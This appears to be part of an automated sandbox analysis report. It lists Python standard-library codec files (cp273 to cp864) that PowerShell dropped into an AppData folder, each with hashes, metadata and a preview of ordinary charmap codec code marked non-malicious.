              Preview:""" Python Character Mapping Codec cp1258 generated from 'MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1258.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp1258',..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp273.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):14439
              Entropy (8bit):4.5334908386243296
              Encrypted:false
              SSDEEP:
              MD5:CF85B6224C5FE7C8EA6CBAD1C1BB6155
              SHA1:C8E3B07E4B5447EC58A280414228797EE6816A24
              SHA-256:016C8DA778E50CBCF76815BBD8F6D0D33DBF1FAF852726D85A5A47651C371033
              SHA-512:8FF744A4A173D2F046180A6A5C1A17715E7ADA582278166B2A418DE4C65441A47A040E8040E2385E02A24826082542D6CFBB3B548401ABEA8D0A17FEFD43B660
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp273 generated from 'python-mappings/CP273.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp273',.. encode=Codec().e

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp424.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12362
              Entropy (8bit):4.601902617990224
              Encrypted:false
              SSDEEP:
              MD5:85667B33899EC661331A9CA44CB36DEC
              SHA1:E755BF3ACA17896638E62BE91D9C8AFE0A6ED725
              SHA-256:AE6E956B42CF3AE32E988833772FC040F8393DA007048AD2B4E1D621FE6523E7
              SHA-512:4D7178C9AC351A644F6062D09FA9C28D569F48ABF1CC4F906C93B8BCCB151FE450E0A9B7A8EF26BD2851A7CE213F27A309F0EA6A2C999A7C5866432DF9E6FBCB
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp424 generated from 'MAPPINGS/VENDORS/MISC/CP424.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp424',.. encode=Cod

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp437.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35262
              Entropy (8bit):4.591583826618043
              Encrypted:false
              SSDEEP:
              MD5:A11E9C869BD055D6C91354FFFEB7644F
              SHA1:B008E64C808A86312863C194C621214134B4C432
              SHA-256:7B0A9AE2E74D370354CC60CBCFB77AF970364818BE2E2A446187DCCCF9E28ACC
              SHA-512:3A628F1BB8D36845074B4FA66A8B91B5F8365C5677CC81AFA5D7DA1313F328E1B409A3C43249C9D62FADC2B71CE9E7CE70CCD3854BA7B8CBB19CFB79B8AD92FE
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp437 generated from 'VENDORS/MICSFT/PC/CP437.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp437',.. encode=Codec().enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp500.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13428
              Entropy (8bit):4.523115396759222
              Encrypted:false
              SSDEEP:
              MD5:BEE7333323D2BCA3262F13C59414EDD3
              SHA1:57E74B1BA865C5198C26344B2F6F270350C014B4
              SHA-256:A5CAC573ED357CB6C2A672D01696212C25E306936586D94BE0D0130354A4DB6F
              SHA-512:B9DD5137040DC57308093D9C71291668CE7CBEDCA11DBC0D85187C6DEE568CA25F69B67F7FB08A2CA248D966EC622C7CE0DD35C0BA2CD77C860274A11A50827D
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp500 generated from 'MAPPINGS/VENDORS/MICSFT/EBCDIC/CP500.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp500',.. e

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp720.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):13995
              Entropy (8bit):4.642939154809849
              Encrypted:false
              SSDEEP:
              MD5:9B7E8AB7C2EE4F82BE09E14F3D3AEA4C
              SHA1:AA76BF3210EF70474330E0212A8B2EDEB518DC5B
              SHA-256:016BDB7208A0D6BFAF8972C1F6BB4B3DE39C77E026B49ED106866D592BE4810B
              SHA-512:0E706CB3E9199663D2DE2E6443F2C9E46279F11ED32BFFE482C4262D7CBD1A30F49018588F96C037E147D9DCE27F29C4ABC1EAAD230CF09B73317F5872967CCD
              Malicious:false
              Reputation:unknown
              Preview:"""Python Character Mapping Codec cp720 generated on Windows:..Vista 6.0.6002 SP2 Multiprocessor Free with the command:.. python Tools/unicode/genwincodec.py 720.."""#"......import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codec

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp737.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35379
              Entropy (8bit):4.616163070442315
              Encrypted:false
              SSDEEP:
              MD5:BD60E98CC59C8BD60874F59A06E30F78
              SHA1:D0086209BA6B3D56964EA7295A8EA54BC5AA02D7
              SHA-256:F2DA9D418B2364C2E1A587B7A6E26FF5601C16AA7993070F2C955DDF2A1F860D
              SHA-512:377D0F87DDBB23D9CCAABE35085EF1E92FCE766B01E55774F4371EA281A03825D141A6F905C90C419B19D09529A8185827C9F4FC6EB176BBADE3DFB478AFB1A0
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp737 generated from 'VENDORS/MICSFT/PC/CP737.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp737',.. encode=Codec().enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp775.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35173
              Entropy (8bit):4.550355257462109
              Encrypted:false
              SSDEEP:
              MD5:CBEF285952C0476BF35BFCD7E7818919
              SHA1:1C61953A3AE6638EE415CA2A93710FF3D8E59D68
              SHA-256:00F2A5E71CA98ED656EC430A80FC2E971988A0A33EBDEA77661BDBE24FE2FBFF
              SHA-512:2F78E73843365DB7F164C2F3C7CD2AE5860D80A11BAF9212BA54C58F9B08C99035FEF6A200D836036AF2B4F1F286B0C2447953203B0EB1C87FD5F1DBE3D24396
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp775 generated from 'VENDORS/MICSFT/PC/CP775.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp775',.. encode=Codec().enc

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp850.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):34803
              Entropy (8bit):4.521332806052938
              Encrypted:false
              SSDEEP:
              MD5:F5F11DA44C65B2A394A4137E36E35E82
              SHA1:BD17C2F9156D704AEAB144A4C1B5B8CA436A5D73
              SHA-256:DCBE5938D7FE65072D4A286A184046DB211544C30F0C3C370B9CD594CF3B36BD
              SHA-512:58AE94059D5ABDC1892FE28DA1646249A0A96817B790BA468B1AA11983A8292AB1FCD1357C9EF9771DE11685FC999791DB184CAF16E7E05D634680AF8A74D6BA
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP850.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp850',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp852.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35700
              Entropy (8bit):4.529290225811869
              Encrypted:false
              SSDEEP:
              MD5:BB2BA9443AE7BD887BA8EAC3E622366A
              SHA1:777E47CA86C4CF65DA68603DDACD6C78B89E0DC7
              SHA-256:8B6AD769607B3DB0D60E4BA1A6321A3823AD8460890D48C816220DCDF8CBEA98
              SHA-512:EBAEC3C9AB014DD4B9629DF511D5E98A9CC88F4035841756142AFC462AB00D07B92050F62C89CF7B2C4891E7D4165F3B3C78548062AACE86E4680C6E2FF3F996
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP852.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp852',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp855.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):34548
              Entropy (8bit):4.55461632698867
              Encrypted:false
              SSDEEP:
              MD5:7C84762C6FD5251CD237754FEB1752D4
              SHA1:B4F083D0AC32E26B77DB2E99F53C079DB7B844A1
              SHA-256:F4F47A5CF3FE5A8CD269B68A73C1DC293A75CD3B9C0489CFA600919B47B35A4C
              SHA-512:D841B04E354ADD8C3D337A6952163CDC8D74FE8F561418A8DEA9C7C5986EE15179F9F5B2336880ABD279CE45AA46CB55020EDE9CDF0FE8B7EA093D1033B5F108
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP855.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp855',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp856.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12730
              Entropy (8bit):4.6600353742865055
              Encrypted:false
              SSDEEP:
              MD5:EE5A43420B08D06B0B2D72A49F00216D
              SHA1:5CAB8D55CB2910C092AF40C921E0B0959933C216
              SHA-256:F0C9DAC1B08D688B81B4F11CA603336FBD5C7FC4C1A30E8B7836283C2AD9A8E7
              SHA-512:97CC6127C21CF49679AD8AC1B47D22D674A07D83BDCD7FAB54B3C821F8DC531435F3B12EE63222C92E3A9D6895404BA857926BA2CA52CDB1BD3ED51B49009C65
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec cp856 generated from 'MAPPINGS/VENDORS/MISC/CP856.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp856',.. encode=Cod

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp857.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):34602
              Entropy (8bit):4.528500526287676
              Encrypted:false
              SSDEEP:
              MD5:DD1F84F2921D49CF944DF4BCF6ECF7E8
              SHA1:7EEE7B6CAA8120C4D26E96FCCC21C4474BD2652A
              SHA-256:8AE4CB6989342105C513678480ECBDF2D5D8E534E69704964D0FB4D2A960039B
              SHA-512:92DB4E13E84876B51B2600F503C56857E96F06A1F23C327762372F97628C766B0E524568672FBF3BA07B26A4284C1AEB522BD433F3ABB9704CF9277157B95832
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP857.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp857',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp858.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):34713
              Entropy (8bit):4.518245366498134
              Encrypted:false
              SSDEEP:
              MD5:F0B8B1B55A90C1EA058759AD18834A75
              SHA1:FD7AFDDE40956991241D6130F72A40D1C655B15B
              SHA-256:04A67B43EFA1E0CE2D80791C290BC2C8EA01C3991EB3DF37528B1DD575B12330
              SHA-512:72F7905616B3B3F9D961E4A605B15A8B9D427E13A82B1BA9AC1F2380E961DE6848A9C5068A57DE6CF62E0CEC5D9E6C2D7310F906D0EC16CAC345E48AA1ABF352
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec for CP858, modified from cp850....."""....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp858',.. encode=Codec().encode,.. decode=Codec().decode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp860.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35379
              Entropy (8bit):4.587856666654445
              Encrypted:false
              SSDEEP:
              MD5:1F0B22586EC65A59C966A709024E35E4
              SHA1:143BCD55359AD3B9506D6583D04A8C1BF32366BD
              SHA-256:E2B8B4B2658ECC3DC53D4B0760AEA95517BE298FAFBFA69574B08933747922BE
              SHA-512:7859FBC58DD5B68614F3F83DA28AA600E86A6F2DB7E011870B212E4D721478A8028D893AB666212DA1B1D38D41BB9E03B985C555154E33A20D71D2449DE7FDF2
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP860.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp860',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp861.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):35331
              Entropy (8bit):4.588014438980019
              Encrypted:false
              SSDEEP:
              MD5:83CFB87E2BB8A42739A03DA1D979AF6A
              SHA1:97C16F469B56F437F521C482C613D4AEC6EF3206
              SHA-256:D7FE52A55FDCAC4E6E9ECDC4884C793D1FEB345D0276B074214DB1BF4BCF3033
              SHA-512:589B6933A5E45176210EA18997B056F41A6B03D765668B7328577D5CF8EEC9CF55B6247E225835D4666EB2AA0714ED927902929B75E27711437612BF9463D89E
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP861.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp861',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp862.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):34068
              Entropy (8bit):4.605627535144471
              Encrypted:false
              SSDEEP:
              MD5:D22ABCA28D2425D802F53021178224A1
              SHA1:D26E991DA020C07E58C03506347803A88230A6BB
              SHA-256:6D99C0415136CE45AB438C8238772A1A132E7B38212C623467C2170F1A8AAE75
              SHA-512:66E7C898ED749CF2706EA877FB099F50477EC5EA3C0FB4F2FA189F4E849D37AD01E7899BFC04A3D60D6CD5A1D42CFF69E71D0A39BE5F51C919543D22C2D82C6A
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP862.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp862',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp863.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):34950
              Entropy (8bit):4.597040843450106
              Encrypted:false
              SSDEEP:
              MD5:13279C9ED7C1F7AF8722F9EB3A1B595B
              SHA1:BCF042EA7D75E802EE940B3C979626DCD0FAAD33
              SHA-256:32FC23645A773EBB3247B3692D0525EA43513B358DD0350EF3A171864E326335
              SHA-512:95CDDCB21D1E738A6850BEA50F6ABD8BBC537F916AC1B3BC16449710EECCDD6B9A54A584A6E40F89E3068B601F43EB297214B1585C9F658B7901BE8F1CBB5162
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP863.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp863',.. encode=Codec().encode,..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\encodings\cp864.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):34353
              Entropy (8bit):4.587380932355719
              Encrypted:false
              SSDEEP:
              MD5:30CBEC79DA2D6565A1C62EF240272223
              SHA1:00C4D427BBE2ADEC7FD3EB73C4F025523D352EA6
              SHA-256:E8879DB3682B0F234BFCF97FE74A3A7DB63CFD5F40281F580E911932DEC4A4D3
              SHA-512:69191F9A4D7089C74A5CA459D0A325BD21347AAC6CAA7F2D4DBE7835A73CD31CCD23C395B11ED91AB55C1592456C7D39A6F3D2CBF1CD2338A27B921A41435864
              Malicious:false
              Reputation:unknown
              Preview:""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP864.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_map).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_map)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='cp864',.. encode=Codec().encode,..

